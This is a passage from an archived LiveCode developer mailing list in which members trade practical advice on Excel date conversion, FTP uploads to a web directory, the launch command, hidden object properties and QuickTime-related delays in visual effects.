partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 16 dec 2011, at 20:15, Graham Pearson wrote: > As I get to the point in my application to send it to a few people to > test, I have in the back of my mind how would I go about updating it > when I release a new version. > > I would think the application would check a special XML Document online > someplace each time the application is ran, and if the version number is > different then download the application and install it. This is what I > do for my Adobe Air applications I am trying to convert over to livecode. > > Any Experts have a Blog Entry or How-To Guide on how to upgrade an > application with little user intervention. From pmbrig at gmail.com Fri Dec 16 15:32:59 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Fri, 16 Dec 2011 13:32:59 -0700 Subject: Convert Excel date In-Reply-To: <8CE89C92D3C4C25-C5C-C4D14@Webmail-d107.sysops.aol.com> References: <7C15907F-37B5-4A3C-AE62-4635B4B4C0C9@laposte.net> <8CE89C92D3C4C25-C5C-C4D14@Webmail-d107.sysops.aol.com> Message-ID: <4F8BEDD3-63EB-4EDF-8B82-E43E41CFBF63@gmail.com> Simpler is this: put "1/01/1900" into d convert d to dateitems add 40892 to item 3 of d convert d to short date put d -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On Dec 15, 2011, at 10:17 PM, DunbarX at aol.com wrote: > The following is very verbose. I just want you to be able to follow one possible method step by step. Read up on all the commands in the dictionary. Put a breakpoint near the beginning. > > > on mouseup > convert the date to seconds > put "40892" & "," & it into baseLine > ask "Enter excel date" > put it - item 1 of baseLine into dayOffset > put dayOffset * 86400 into newSeconds > add newSeconds to item 2 of baseLine > convert item 2 of baseline to date > answer item 2 of baseLine > end mouseup > > > Craig Newman > > > -----Original Message----- > From: Ludovic Th?bault > To: How to use LiveCode > Sent: Thu, Dec 15, 2011 12:31 am > Subject: Convert Excel date > > > Hello, > > I've a csv file created by excel. > Dates are displayed in numbers. (1/01/1900 = 1 so today = 40892) > > Is there a script to convert it in a real date with livecode ? > > Thanks ! > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Fri Dec 16 15:53:48 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 16 Dec 2011 14:53:48 -0600 Subject: FTP a file to the www directory Message-ID: <4EEBAFDC.8020603@hyperactivesw.com> I need to upload a file to the public_html directory on a server. The file is fairly large so I don't want to use "put". LibURLftpUploadFile works, but using ftp always uploads outside the www directory. What do I need to do to get the file to upload to the web site? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From livfoss at mac.com Fri Dec 16 17:00:04 2011 From: livfoss at mac.com (Graham Samuel) Date: Fri, 16 Dec 2011 23:00:04 +0100 Subject: Launch command changed in 5.0.2? Message-ID: Some readers may remember my difficulties with the 'launch' command, where the dictionary entry for 'launch' says > When the launch command executes, the application being launched comes to the foreground. When the user quits, LiveCode comes to the foreground. > > If the application is already running, the launch command does nothing, and "Process is already open." is placed in the result function. I didn't find the second line to be true, and I found it easy to launch multiple instances of the same app on Windows XP Home edition, and I reported it on this list, where the general opinion seemed to be that the command would only work for LC-originated apps. Several people helped me with VB scripts for detecting if an app was already running so that I could avoid relaunching it. Well, I just installed LC 5.0.2, and tried 'launch' again (launching a non-LC application), and it worked as described! I can no longer launch multiple instances, and I do get the message in 'the result'. I don't think I've changed anything else - still launching the same test app in the same Windows environment. So I suppose the engine must have changed, although I don't see anything in the release notes. Can anyone confirm this change - or think of another explanation? Graham From pmbrig at gmail.com Fri Dec 16 17:09:43 2011 From: pmbrig at gmail.com (Peter M. Brigham, MD) Date: Fri, 16 Dec 2011 15:09:43 -0700 Subject: Clearing Contents of Field In-Reply-To: <143439283406.20111215122659@ahsoftware.net> References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> <143439283406.20111215122659@ahsoftware.net> Message-ID: From the dictionary: ------- Not every property is included in the properties property. The following types of properties are excluded: * Read-only properties * The script property and custom properties * Synonyms: Only one synonym for each property is included. * Duplicates: Properties that are functionally duplicated by other properties are not included. For example, the rectangle property is included, but not the height, width, top, bottom, left, right, or location properties, because you can derive all of them from the object's rectangle. * Properties other than object properties: Global properties, local properties, properties of a character or chunk in a field, and adjectives such as short that are implemented internally as properties are all excluded. * Others: Some other properties are excluded. ------- I wonder about this last one. Is that just a generic disclaimer to allow for newer properties as they come out without committing to updating "the properties" property? Or are there some older ones that are missing? I started to go through the dictionary list of properties but didn't have the patience to track it down.... -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig On Dec 15, 2011, at 1:26 PM, Mark Wieder wrote: > Jacque- > > Thursday, December 15, 2011, 11:58:37 AM, you wrote: > >> On 12/15/11 11:17 AM, Bob Sneidar wrote: >>> Be advised that there are properties that still remain hidden using >>> this function (or so it was back when I last used it). > >> I think the "hidden" ones are just those that are already available in >> the others. For example, "top" is not included because it is part of >> "rect". Or are there others? > > antialiased > fillgradient > strokegradient > innershadow > innerglow > outerglow > dropshadow > coloroverlay > > Bug #8884. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 16 17:47:00 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 16 Dec 2011 14:47:00 -0800 Subject: Clearing Contents of Field In-Reply-To: References: <1323957220.23444.YahooMailClassic@web161605.mail.bf1.yahoo.com> <4EEA516D.60605@hyperactivesw.com> <143439283406.20111215122659@ahsoftware.net> Message-ID: Now I remember. My original post was because a long time ago I had read this, and that last part got me too. It's like the article in the UCMJ which says basically, if there's anything you did wrong that we did not specifically cover here, we can have you arrested for that and try you for it. Bob On Dec 16, 2011, at 2:09 PM, Peter M. Brigham, MD wrote: > From the dictionary: > > ------- > Not every property is included in the properties property. The following types of properties are excluded: > > * Read-only properties > > * The script property and custom properties > > * Synonyms: Only one synonym for each property is included. > > * Duplicates: Properties that are functionally duplicated by other properties are not included. For example, the rectangle property is included, but not the height, width, top, bottom, left, right, or location properties, because you can derive all of them from the object's rectangle. > > * Properties other than object properties: Global properties, local properties, properties of a character or chunk in a field, and adjectives such as short that are implemented internally as properties are all excluded. > > * Others: Some other properties are excluded. > ------- > > I wonder about this last one. Is that just a generic disclaimer to allow for newer properties as they come out without committing to updating "the properties" property? Or are there some older ones that are missing? I started to go through the dictionary list of properties but didn't have the patience to track it down.... > > -- Peter > > Peter M. Brigham > pmbrig at gmail.com > http://home.comcast.net/~pmbrig > > > On Dec 15, 2011, at 1:26 PM, Mark Wieder wrote: > >> Jacque- >> >> Thursday, December 15, 2011, 11:58:37 AM, you wrote: >> >>> On 12/15/11 11:17 AM, Bob Sneidar wrote: >>>> Be advised that there are properties that still remain hidden using >>>> this function (or so it was back when I last used it). >> >>> I think the "hidden" ones are just those that are already available in >>> the others. For example, "top" is not included because it is part of >>> "rect". Or are there others? >> >> antialiased >> fillgradient >> strokegradient >> innershadow >> innerglow >> outerglow >> dropshadow >> coloroverlay >> >> Bug #8884. >> >> -- >> -Mark Wieder >> mwieder at ahsoftware.net >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From keith at gulfbreezeortholab.com Fri Dec 16 17:50:17 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Fri, 16 Dec 2011 16:50:17 -0600 Subject: Visual effects delay... Message-ID: Hi All, I have a standalone (running under Windows 7) that has a problem... From the LiveCode IDE, everything works as expected. However, when I create a standalone .exe file and run it, there is a delay on the first screen when clicking on the Next button. The card transition is set to a "wipe left" visual effect. The problem is, when I load the program and click on the Next button for the first time, there is a long delay (almost 4 seconds), then the next card loads by wiping left. When I click on the Back button the speed is normal, and when I click on the Next button again, the speed is normal... The problem only occurs when I click on the Next button for the first time. (This looks very awkward and unprofessional.) I removed the visual effect and tried it, and the speed is normal. (So the problem obviously has something to do with using a visual effect.) Any idea as to why this is the case? Again, it works as expected when running the stack in the LiveCode IDE... Thanks, - Boo From m.schonewille at economy-x-talk.com Fri Dec 16 17:58:20 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Fri, 16 Dec 2011 23:58:20 +0100 Subject: Visual effects delay... In-Reply-To: References: Message-ID: <8FE09717-7B7A-47B4-93CA-616F6FFF1BDC@economy-x-talk.com> Hi Boo, Probably, QuickTime is loading the first time you use a visual effect. Getting the qtVersion before using a visual effect might fix this. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 16 dec 2011, at 23:50, Keith (Gulf Breeze Ortho Lab) wrote: > Hi All, > > I have a standalone (running under Windows 7) that has a problem... From the LiveCode IDE, everything works as expected. However, when I create a standalone .exe file and run it, there is a delay on the first screen when clicking on the Next button. The card transition is set to a "wipe left" visual effect. The problem is, when I load the program and click on the Next button for the first time, there is a long delay (almost 4 seconds), then the next card loads by wiping left. When I click on the Back button the speed is normal, and when I click on the Next button again, the speed is normal... The problem only occurs when I click on the Next button for the first time. (This looks very awkward and unprofessional.) I removed the visual effect and tried it, and the speed is normal. (So the problem obviously has something to do with using a visual effect.) > > Any idea as to why this is the case? Again, it works as expected when running the stack in the LiveCode IDE... > > Thanks, > > - Boo From mike at doub.com Fri Dec 16 18:00:51 2011 From: mike at doub.com (Michael Doub) Date: Fri, 16 Dec 2011 18:00:51 -0500 Subject: Message path question working with iPhone Control Kit Message-ID: <3EB3E15B-D0B0-4A67-9C50-AEE710859CC2@doub.com> I am hoping that someone on the list is familiar with the Andreas Rozek's iPhone Control Kit. (http://87.106.227.245/LiveCode/iPhoneControlKit/index_en.html) I am trying to figure out why the scroller object is not responding to the mouseUp messages. Poking around I found that I can catch the MouseUp message in the BehaviourButton script of the of the appropriate control on the (Behaviors) card of the iPhone Control Kit stack for all controls except the scroller. Although the problem I am chasing is with the scroller, how are the MouseUp messages being routed to the buttons on the (Behaviors) card? There are no MouseUp handlers in most the controls on the MainCard of the iPhone Control Kit card, or in the MainCard script. The scroller is an exception and it looks like it doing normal work. There are not even any MouseUp handlers in the stack script of iPhone Control Kit itself. How are the MouseUp message routed to these controls? I am clearly missing something. Regards, Mike From scott at tactilemedia.com Fri Dec 16 18:02:32 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 16 Dec 2011 15:02:32 -0800 Subject: Visual effects delay... Message-ID: The delay is likely due to the loading of QuickTime. ?I believe there's an entry in docs about checking the qtVersion or similar in preOpenCard or stack to minimize the delay that can occur. ?An alternate option is to set the dontUseQT to true to disable QuickTime, but only if you dont need QT for amything else. Regards, Scott Rossi Creative Director Tactile Media, UX Design -------- Original message -------- Subject: Visual effects delay... From: "Keith (Gulf Breeze Ortho Lab)" To: How to use LiveCode CC: Hi All, I have a standalone (running under Windows 7) that has a problem... From the LiveCode IDE, everything works as expected. However, when I create a standalone .exe file and run it, there is a delay on the first screen when clicking on the Next button. The card transition is set to a "wipe left" visual effect. The problem is, when I load the program and click on the Next button for the first time, there is a long delay (almost 4 seconds), then the next card loads by wiping left. When I click on the Back button the speed is normal, and when I click on the Next button again, the speed is normal... The problem only occurs when I click on the Next button for the first time. (This looks very awkward and unprofessional.) I removed the visual effect and tried it, and the speed is normal. (So the problem obviously has something to do with using a visual effect.) Any idea as to why this is the case? Again, it works as expected when running the stack in the LiveCode IDE... Thanks, - Boo _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Fri Dec 16 18:04:01 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 17 Dec 2011 00:04:01 +0100 Subject: FTP a file to the www directory In-Reply-To: <4EEBAFDC.8020603@hyperactivesw.com> References: <4EEBAFDC.8020603@hyperactivesw.com> Message-ID: <13D09EBE-3872-4CC9-A5B2-7291E5D74EA2@economy-x-talk.com> Hi Jacque, Try libURLftpUploadFile. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 16 dec 2011, at 21:53, J. Landman Gay wrote: > I need to upload a file to the public_html directory on a server. The file is fairly large so I don't want to use "put". LibURLftpUploadFile works, but using ftp always uploads outside the www directory. What do I need to do to get the file to upload to the web site? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com From m.schonewille at economy-x-talk.com Fri Dec 16 18:05:35 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 17 Dec 2011 00:05:35 +0100 Subject: FTP a file to the www directory In-Reply-To: <4EEBAFDC.8020603@hyperactivesw.com> References: <4EEBAFDC.8020603@hyperactivesw.com> Message-ID: <10FD2939-8CD2-4704-997B-2E0C43E93BFA@economy-x-talk.com> Oh... sorry... now I realise that's what you tried already (LibURLftpUploadFile). What do you mean, outside the www directory? Isn't that always how FTP works? Otherwise, people would get very strange results when they try to access the file. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 16 dec 2011, at 21:53, J. Landman Gay wrote: > I need to upload a file to the public_html directory on a server. The file is fairly large so I don't want to use "put". LibURLftpUploadFile works, but using ftp always uploads outside the www directory. What do I need to do to get the file to upload to the web site? > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com From keith at gulfbreezeortholab.com Fri Dec 16 18:16:28 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Fri, 16 Dec 2011 17:16:28 -0600 Subject: Visual effects delay... In-Reply-To: <8FE09717-7B7A-47B4-93CA-616F6FFF1BDC@economy-x-talk.com> References: <8FE09717-7B7A-47B4-93CA-616F6FFF1BDC@economy-x-talk.com> Message-ID: <6868BBB4B0A74499B8658B5D664A6127@KeithPC> Hi Mark, That did it! Thanks! 8-) By the way... If setting "dontUseQT to true" in an app. for the Mac, will the wipe effect still work? Thanks again, - Boo -----Original Message----- From: Mark Schonewille Sent: Friday, December 16, 2011 4:58 PM To: How to use LiveCode Subject: Re: Visual effects delay... Hi Boo, Probably, QuickTime is loading the first time you use a visual effect. Getting the qtVersion before using a visual effect might fix this. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 16 dec 2011, at 23:50, Keith (Gulf Breeze Ortho Lab) wrote: > Hi All, > > I have a standalone (running under Windows 7) that has a problem... From > the LiveCode IDE, everything works as expected. However, when I create a > standalone .exe file and run it, there is a delay on the first screen when > clicking on the Next button. The card transition is set to a "wipe left" > visual effect. The problem is, when I load the program and click on the > Next button for the first time, there is a long delay (almost 4 seconds), > then the next card loads by wiping left. When I click on the Back button > the speed is normal, and when I click on the Next button again, the speed > is normal... The problem only occurs when I click on the Next button for > the first time. (This looks very awkward and unprofessional.) I removed > the visual effect and tried it, and the speed is normal. (So the problem > obviously has something to do with using a visual effect.) > > Any idea as to why this is the case? Again, it works as expected when > running the stack in the LiveCode IDE... > > Thanks, > > - Boo _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From keith at gulfbreezeortholab.com Fri Dec 16 18:19:20 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Fri, 16 Dec 2011 17:19:20 -0600 Subject: Visual effects delay... In-Reply-To: References: Message-ID: <68E4E49197A340EFB7FD2D986CF8BE4B@KeithPC> Thanks Scott... Yep, I have it working now. Just curious if the wipe effect will work without QuickTime when running a compiled Mac app. (On Windows at the moment and cannot test on a Mac.) -----Original Message----- From: Scott Rossi Sent: Friday, December 16, 2011 5:02 PM To: use-livecode at lists.runrev.com Subject: Re: Visual effects delay... The delay is likely due to the loading of QuickTime. I believe there's an entry in docs about checking the qtVersion or similar in preOpenCard or stack to minimize the delay that can occur. An alternate option is to set the dontUseQT to true to disable QuickTime, but only if you dont need QT for amything else. Regards, Scott Rossi Creative Director Tactile Media, UX Design -------- Original message -------- Subject: Visual effects delay... From: "Keith (Gulf Breeze Ortho Lab)" To: How to use LiveCode CC: Hi All, I have a standalone (running under Windows 7) that has a problem... From the LiveCode IDE, everything works as expected. However, when I create a standalone .exe file and run it, there is a delay on the first screen when clicking on the Next button. The card transition is set to a "wipe left" visual effect. The problem is, when I load the program and click on the Next button for the first time, there is a long delay (almost 4 seconds), then the next card loads by wiping left. When I click on the Back button the speed is normal, and when I click on the Next button again, the speed is normal... The problem only occurs when I click on the Next button for the first time. (This looks very awkward and unprofessional.) I removed the visual effect and tried it, and the speed is normal. (So the problem obviously has something to do with using a visual effect.) Any idea as to why this is the case? Again, it works as expected when running the stack in the LiveCode IDE... Thanks, - Boo _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From keith at gulfbreezeortholab.com Fri Dec 16 18:32:19 2011 From: keith at gulfbreezeortholab.com (Keith (Gulf Breeze Ortho Lab)) Date: Fri, 16 Dec 2011 17:32:19 -0600 Subject: Visual effects delay... Message-ID: <44765F26BDF24BDB80A0AEA669ADDDCD@KeithPC> Okay... From the Dictionary: Description: Use the dontUseQT property to test operation of a stack using the built-in MCI video on Windows systems, or to use built-in visual effects rather than QuickTime effects. Cool! For Windows, I will use: on preOpenStack if the platform is "Win32" then set the dontUseQT to true end preOpenStack Thanks again guys! Have a GREAT weekend! Cheers from Florida, - Boo -----Original Message----- From: Keith (Gulf Breeze Ortho Lab) Sent: Friday, December 16, 2011 5:16 PM To: How to use LiveCode Subject: Re: Visual effects delay... Hi Mark, That did it! Thanks! 8-) By the way... If setting "dontUseQT to true" in an app. for the Mac, will the wipe effect still work? Thanks again, - Boo -----Original Message----- From: Mark Schonewille Sent: Friday, December 16, 2011 4:58 PM To: How to use LiveCode Subject: Re: Visual effects delay... Hi Boo, Probably, QuickTime is loading the first time you use a visual effect. Getting the qtVersion before using a visual effect might fix this. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 16 dec 2011, at 23:50, Keith (Gulf Breeze Ortho Lab) wrote: > Hi All, > > I have a standalone (running under Windows 7) that has a problem... From > the LiveCode IDE, everything works as expected. However, when I create a > standalone .exe file and run it, there is a delay on the first screen when > clicking on the Next button. The card transition is set to a "wipe left" > visual effect. The problem is, when I load the program and click on the > Next button for the first time, there is a long delay (almost 4 seconds), > then the next card loads by wiping left. When I click on the Back button > the speed is normal, and when I click on the Next button again, the speed > is normal... The problem only occurs when I click on the Next button for > the first time. (This looks very awkward and unprofessional.) I removed > the visual effect and tried it, and the speed is normal. (So the problem > obviously has something to do with using a visual effect.) > > Any idea as to why this is the case? Again, it works as expected when > running the stack in the LiveCode IDE... > > Thanks, > > - Boo _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Fri Dec 16 18:52:31 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 16 Dec 2011 17:52:31 -0600 Subject: FTP a file to the www directory In-Reply-To: <10FD2939-8CD2-4704-997B-2E0C43E93BFA@economy-x-talk.com> References: <4EEBAFDC.8020603@hyperactivesw.com> <10FD2939-8CD2-4704-997B-2E0C43E93BFA@economy-x-talk.com> Message-ID: <4EEBD9BF.9070309@hyperactivesw.com> On 12/16/11 5:05 PM, Mark Schonewille wrote: > Oh... sorry... now I realise that's what you tried already > (LibURLftpUploadFile). What do you mean, outside the www directory? > Isn't that always how FTP works? Otherwise, people would get very > strange results when they try to access the file. I need to upload the file to the www directory. FTP won't upload there so I'm looking for a solution. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From matthias_livecode_150811 at m-r-d.de Fri Dec 16 18:58:41 2011 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Sat, 17 Dec 2011 00:58:41 +0100 Subject: FTP a file to the www directory In-Reply-To: <4EEBD9BF.9070309@hyperactivesw.com> References: <4EEBAFDC.8020603@hyperactivesw.com> <10FD2939-8CD2-4704-997B-2E0C43E93BFA@economy-x-talk.com> <4EEBD9BF.9070309@hyperactivesw.com> Message-ID: <9928E8A8-ADE2-418F-9109-FAB4457CABEA@m-r-d.de> Hi Jacque, an ftp account normally has access to one folder and its subfolders. On on-rev for example the main ftp account points to the main folder in which the public_html folder and other system folders resides. In this case you would use ibURLftpUploadFile "/mystuff/test.data","ftp://jacque:yourpassword at jacque.on-rev.com/public_html/test.data" to upload the file test.data from folder /mystuff into the public_html folder on your on-rev account. Regards, Matthias Am 17.12.2011 um 00:52 schrieb J. Landman Gay: > On 12/16/11 5:05 PM, Mark Schonewille wrote: >> Oh... sorry... now I realise that's what you tried already >> (LibURLftpUploadFile). What do you mean, outside the www directory? >> Isn't that always how FTP works? Otherwise, people would get very >> strange results when they try to access the file. > > I need to upload the file to the www directory. FTP won't upload there so I'm looking for a solution. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Fri Dec 16 19:03:13 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 17 Dec 2011 01:03:13 +0100 Subject: FTP a file to the www directory In-Reply-To: <4EEBD9BF.9070309@hyperactivesw.com> References: <4EEBAFDC.8020603@hyperactivesw.com> <10FD2939-8CD2-4704-997B-2E0C43E93BFA@economy-x-talk.com> <4EEBD9BF.9070309@hyperactivesw.com> Message-ID: <239F1986-3116-4305-8682-558672E4EC64@economy-x-talk.com> Hi Jacque, Maybe you can use the RNFR and RNTO FTP commands to put the file into the www directory afterwards or use a PHP script to execute a shell command to move the file. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 17 dec 2011, at 00:52, J. Landman Gay wrote: > On 12/16/11 5:05 PM, Mark Schonewille wrote: >> Oh... sorry... now I realise that's what you tried already >> (LibURLftpUploadFile). What do you mean, outside the www directory? >> Isn't that always how FTP works? Otherwise, people would get very >> strange results when they try to access the file. > > I need to upload the file to the www directory. FTP won't upload there so I'm looking for a solution. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Fri Dec 16 19:07:45 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 16 Dec 2011 18:07:45 -0600 Subject: FTP a file to the www directory In-Reply-To: <9928E8A8-ADE2-418F-9109-FAB4457CABEA@m-r-d.de> References: <4EEBAFDC.8020603@hyperactivesw.com> <10FD2939-8CD2-4704-997B-2E0C43E93BFA@economy-x-talk.com> <4EEBD9BF.9070309@hyperactivesw.com> <9928E8A8-ADE2-418F-9109-FAB4457CABEA@m-r-d.de> Message-ID: <4EEBDD51.7070901@hyperactivesw.com> On 12/16/11 5:58 PM, Matthias Rebbe wrote: > Hi Jacque, > > an ftp account normally has access to one folder and its subfolders. > > On on-rev for example the main ftp account points to the main folder > in which the public_html folder and other system folders resides. In > this case you would use > > ibURLftpUploadFile > "/mystuff/test.data","ftp://jacque:yourpassword at jacque.on-rev.com/public_html/test.data" > > to upload the file test.data from folder /mystuff into the > public_html folder on your on-rev account. Thanks Matthias. You're right, I had the server file path wrong. Perfect. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From alex at tweedly.net Fri Dec 16 19:13:08 2011 From: alex at tweedly.net (Alex Tweedly) Date: Sat, 17 Dec 2011 00:13:08 +0000 Subject: FTP a file to the www directory In-Reply-To: <4EEBAFDC.8020603@hyperactivesw.com> References: <4EEBAFDC.8020603@hyperactivesw.com> Message-ID: <4EEBDE94.2090105@tweedly.net> On 16/12/2011 20:53, J. Landman Gay wrote: > I need to upload a file to the public_html directory on a server. The > file is fairly large so I don't want to use "put". LibURLftpUploadFile > works, but using ftp always uploads outside the www directory. What do > I need to do to get the file to upload to the web site? > upload to the ftp directory then use a .lc script to move it over to where you want it (and maybe even return the file size as an extra check) e.g. (not-even-pseudo-code) LibURLftpUploadFile "myfile.txt" get URL "http://mydomain.com/move_my_file_into_place.lc?file=myfile.txt" if it <> the number of chars in "myfile.txt" then .... -- Alex. From scott at tactilemedia.com Fri Dec 16 20:02:47 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 16 Dec 2011 17:02:47 -0800 Subject: Visual effects delay... Message-ID: All the stock visual effects should work without QuickTime, and basic effects like wipe/push should be ok. ?Dissolve works without QT but looks very pixelized and dated. Regards, Scott Rossi Creative Director Tactile Media, UX Design -------- Original message -------- Subject: Re: Visual effects delay... From: "Keith (Gulf Breeze Ortho Lab)" To: How to use LiveCode CC: Thanks Scott... Yep, I have it working now. Just curious if the wipe effect will work without QuickTime when running a compiled Mac app. (On Windows at the moment and cannot test on a Mac.) -----Original Message----- From: Scott Rossi Sent: Friday, December 16, 2011 5:02 PM To: use-livecode at lists.runrev.com Subject: Re: Visual effects delay... The delay is likely due to the loading of QuickTime.? I believe there's an entry in docs about checking the qtVersion or similar in preOpenCard or stack to minimize the delay that can occur.? An alternate option is to set the dontUseQT to true to disable QuickTime, but only if you dont need QT for amything else. Regards, Scott Rossi Creative Director Tactile Media, UX Design -------- Original message -------- Subject: Visual effects delay... From: "Keith (Gulf Breeze Ortho Lab)" To: How to use LiveCode CC: Hi All, I have a standalone (running under Windows 7) that has a problem... From the LiveCode IDE, everything works as expected. However, when I create a standalone .exe file and run it, there is a delay on the first screen when clicking on the Next button. The card transition is set to a "wipe left" visual effect. The problem is, when I load the program and click on the Next button for the first time, there is a long delay (almost 4 seconds), then the next card loads by wiping left. When I click on the Back button the speed is normal, and when I click on the Next button again, the speed is normal... The problem only occurs when I click on the Next button for the first time. (This looks very awkward and unprofessional.) I removed the visual effect and tried it, and the speed is normal. (So the problem obviously has something to do with using a visual effect.) Any idea as to why this is the case? Again, it works as expected when running the stack in the LiveCode IDE... Thanks, - Boo _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From klaus at major.on-rev.com Fri Dec 16 21:09:30 2011 From: klaus at major.on-rev.com (Klaus on-rev) Date: Sat, 17 Dec 2011 03:09:30 +0100 Subject: Visual effects delay... In-Reply-To: <44765F26BDF24BDB80A0AEA669ADDDCD@KeithPC> References: <44765F26BDF24BDB80A0AEA669ADDDCD@KeithPC> Message-ID: <2143F2A8-B37F-4B0E-861E-08834F515740@major.on-rev.com> Hi Keith, Am 17.12.2011 um 00:32 schrieb Keith (Gulf Breeze Ortho Lab): > Okay... From the Dictionary: > > Description: > Use the dontUseQT property to test operation of a stack using the built-in MCI video on Windows systems, or to use built-in visual effects rather than QuickTime effects. > Cool! For Windows, I will use: > on preOpenStack > if the platform is "Win32" then set the dontUseQT to true > end preOpenStack do also check this in the docs: (the) dontUseQTEffects But as far as I remember this will only affect the "dissolve" effect, which does in fact, as Scott already stated, look extremely poor, ugly and amateurish without QuickTime. :-) > Thanks again guys! > Have a GREAT weekend! > > Cheers from Florida, > > - Boo Best Klaus -- Klaus Major http://www.major-k.de klaus at major.on-rev.com From andre at andregarzia.com Fri Dec 16 21:30:24 2011 From: andre at andregarzia.com (Andre Garzia) Date: Sat, 17 Dec 2011 00:30:24 -0200 Subject: problem building for Android on 5.0.2 Message-ID: Hey Folks, Anyone 